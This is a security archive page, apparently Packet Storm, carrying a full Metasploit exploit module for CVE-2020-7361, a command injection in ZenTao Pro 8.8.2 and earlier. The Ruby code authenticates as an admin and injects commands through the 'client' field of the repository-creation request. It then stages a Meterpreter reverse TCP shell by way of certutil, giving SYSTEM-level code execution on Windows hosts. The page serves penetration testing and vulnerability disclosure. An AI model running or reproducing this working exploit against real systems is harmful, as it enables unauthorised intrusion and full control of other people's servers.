exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ZenTao Pro 8.8.2 Remote Code Execution

ZenTao Pro 8.8.2 Remote Code Execution
Posted Jul 22, 2020
Authored by Daniel Monzon, Erik Wynter, Melvin Boers | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in ZenTao Pro 8.8.2 and earlier versions in order to execute arbitrary commands with SYSTEM privileges. Valid credentials for a ZenTao admin account are required. This module has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on Windows 10 (XAMPP server).

tags | exploit, arbitrary
systems | windows
advisories | CVE-2020-7361
SHA-256 | 191b945627084957824fcc0caf7eb0edfafb74b14433e38de0cb21c995667b52

ZenTao Pro 8.8.2 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ZenTao Pro 8.8.2 Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in ZenTao Pro
8.8.2 and earlier versions in order to execute arbitrary commands with
SYSTEM privileges.

The module first attempts to authenticate to the ZenTao dashboard. It
then tries to execute the payload by submitting fake repositories via
the 'Repo Create' function that is accessible from the dashboard via
CI>Repo. More precisely, the module sends HTTP POST requests to
'/pro/repo-create.html' that inject commands in the vulnerable 'path'
parameter which corresponds to the 'Client Path' input field.

Valid credentials for a ZenTao admin account are required. This module
has been successfully tested against ZenTao 8.8.1 and 8.8.2 running on
Windows 10 (XAMPP server).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Monzón', # Discovery
'Melvin Boers', # PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['EDB', '48633'], # PoC
['CVE', '2020-7361']
],
'Platform' => 'win',
'Targets' =>
[
[
'Windows (x86)', {
'Arch' => [ARCH_X86],
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
}
],
[
'Windows (x64)', {
'Arch' => [ARCH_X64],
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 2020'
)
)

register_options [
OptString.new('TARGETURI', [true, 'The base path to ZenTao', '/pro/']),
OptString.new('TARGETPATH', [true, 'The path on the target where commands will be executed', 'C:\\Windows\\Temp']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
]
end

def check
vprint_status('Running check')

# visit login the page to get the necessary cookies
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'user-login.html')
unless res
return CheckCode::Unknown('Connection failed')
end

cookie = res.get_cookies
if cookie.blank?
return CheckCode::Unknown('Unable to retrieve HTTP cookie header')
end

# check if the language is set to English, otherwise change it to English
unless cookie.scan(/lang=(.*?);/).flatten.first == 'en-US'
cookie.gsub!(/lang=(.*?);/, 'lang=en;')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'score-ajax-selectLang.html'),
'cookie' => cookie
})

unless res
return CheckCode::Unknown('Connection failed')
end

@cookie = res.get_cookies
if @cookie.blank?
return CheckCode::Unknown('Unable to change the application language to English. Target may not be a ZenTao application')
end
end

# visit login page to check ZenTao version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'user-login.html'),
'cookie' => @cookie
})

unless res
return CheckCode::Unknown('Connection failed')
end

unless res.code == 200 && res.body.include?('Login - ZenTao')
return CheckCode::Safe('Target is not a ZenTao application.')
end

# obtain cookie and random value necessary to autenticate later
@cookie = res.get_cookies
retrieve_rand_val(res)
if @cookie.blank? || @random_value.blank?
return CheckCode::Unknown('Unable to obtain the tokens required for authentication')
end

# obtain version
version = res.body.scan(/v=pro(.*?)'/).flatten.first
if version.blank?
return CheckCode::Detected('Unable to obtain ZenTao version.')
end

@version = Gem::Version.new(version)

unless @version <= Gem::Version.new('8.8.2')
return CheckCode::Detected("Target is ZenTao version #{@version}.")
end

return CheckCode::Appears("Target is ZenTao version #{@version}.")

end

def retrieve_rand_val(res)
html = res.get_html_document
@random_value = html.at('input[@name="verifyRand"]')['value']

fail_with(Failure::NotFound, 'Failed to retrieve token') unless @random_value
end

def login
login_uri = normalize_uri(target_uri.path, 'user-login.html')
unless @random_value
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
fail_with(Failure::UnexpectedReply, 'Unable to reach login page') unless res
@cookie = res.get_cookies
retrieve_rand_val(res)
end

# generate md5 hashes required for authentication
hashed_pass = Digest::MD5.hexdigest(datastore['PASSWORD'].to_s)
final_hash = Digest::MD5.hexdigest("#{hashed_pass}#{@random_value}")
res = send_request_cgi({
'method' => 'POST',
'uri' => login_uri,
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'cookie' => @cookie,
'headers' => {
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}",
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
},
'vars_post' => {
'account' => datastore['USERNAME'],
'password' => final_hash,
'passwordStrength' => '1',
'referer' => '/pro/',
'verifyRand' => @random_value,
'KeepLogin' => '0'
}
})

unless res
fail_with(Failure::Disconnected, 'Connection failed')
end

unless res.code == 200 && res.body.include?('success')
fail_with(Failure::NoAccess, 'Failed to authenticate. Please check if you have set the correct username and password.')
end

# visit /pro/, which is required to get to the dashboard at /pro/my/
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'cookie' => @cookie,
'headers' => {
'Upgrade-Insecure-Requests' => '1',
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{login_uri}",
}
})

unless res && res.code == 302
fail_with(Failure::NoAccess, 'Failed to authenticate.')
end

# finally visit /pro/my/ and check if we have been authenticated
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'my'),
'cookie' => @cookie
})
unless res && res.code == 200 && res.body.include?('Dashboard - ZenTao')
fail_with(Failure::NoAccess, 'Failed to authenticate.')
end
print_good("Successfully authenticated to ZenTao #{@version}.")
end

def execute_command(cmd, _opts = {})
cmd << ' &&' # this is necessary for compatibility with x86 targets (for x64 the module also works without this)
repo_uri = normalize_uri(target_uri.path, 'repo-create')
send_request_cgi({
'method' => 'POST',
'uri' => repo_uri,
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'cookie' => @cookie,
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/#{repo_uri}",
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
},
'vars_post' => {
'SCM' => 'Git',
'name' => Rex::Text.rand_text_alpha_lower(6..10),
'path' => datastore['TARGETPATH'],
'encoding' => 'utf-8',
'client' => cmd
}
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload
end

def exploit
login
print_status('Executing the payload...')
execute_cmdstager(background: true)
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close